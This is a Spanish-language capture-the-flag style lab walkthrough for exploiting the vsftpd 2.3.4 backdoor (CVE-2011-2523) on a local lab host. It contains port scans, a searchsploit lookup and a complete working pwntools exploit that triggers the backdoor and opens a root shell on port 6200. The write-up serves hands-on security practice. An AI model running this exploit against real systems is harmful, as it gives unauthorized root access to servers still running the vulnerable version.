FirstHacking
Laboratorio para practicar la explotación del backdoor de vsftpd 2.3.4 para obtener acceso como root.

Enumeration
Escaneamos todos los puertos para ver cuáles están abiertos y qué servicios corren en ellos.
sudo nmap -p- -sS --min-rate 5000 -Pn -n -vv -oA nmap/allports 172.17.0.2
PORT STATE SERVICE REASON
21/tcp open ftp syn-ack ttl 64
Escaneamos el puerto abierto encontrado para ver más detalles sobre el servicio.
nmap -p 21 -sCV -oA nmap/openports 172.17.0.2
PORT STATE SERVICE VERSION
21/tcp open ftp vsftpd 2.3.4
Service Info: OS: Unix
Buscamos con searchsploit si la versión es vulnerable. Y sí, es vulnerable, el CVE-2011-2523 muestra que esta versión tiene un backdoor corriendo en el puerto 6200/tcp.
searchsploit vsftpd 2.3.4
vsftpd 2.3.4 - Backdoor Command Execution | unix/remote/49757.py
vsftpd 2.3.4 - Backdoor Command Execution (Metasploit) | unix/remote/17491.rb
Exploitation
Creamos un script en Python porque los pocs que andan dando vueltas usan librerías de Python obsoletas y no nos queremos volver locos.
#!/usr/bin/env python3
from pwn import *
import argparse
parser = argparse.ArgumentParser(description="vsFTPd 2.3.4 Backdoor Exploit")
parser.add_argument(
"-t",
"--target",
required=True,
help="Target IP address or hostname"
)
args = parser.parse_args()
host = args.target
ftp = remote(host, 21)
ftp.recvuntil(b"vsFTPd")
ftp.sendline(b"USER nergal:)")
ftp.recvuntil(b"password")
ftp.sendline(b"PASS pass")
shell = remote(host, 6200)
shell.interactive()
Ejecutamos el exploit y obtenemos una shell como el usuario root.
python3 ../trust/exploit.py -t 172.17.0.2
[+] Opening connection to 172.17.0.2 on port 21: Done
[+] Opening connection to 172.17.0.2 on port 6200: Done
[*] Switching to interactive mode
Con el comando id vemos que usuario está corriendo el proceso actual.
$ id
uid=0(root) gid=0(root) groups=0(root)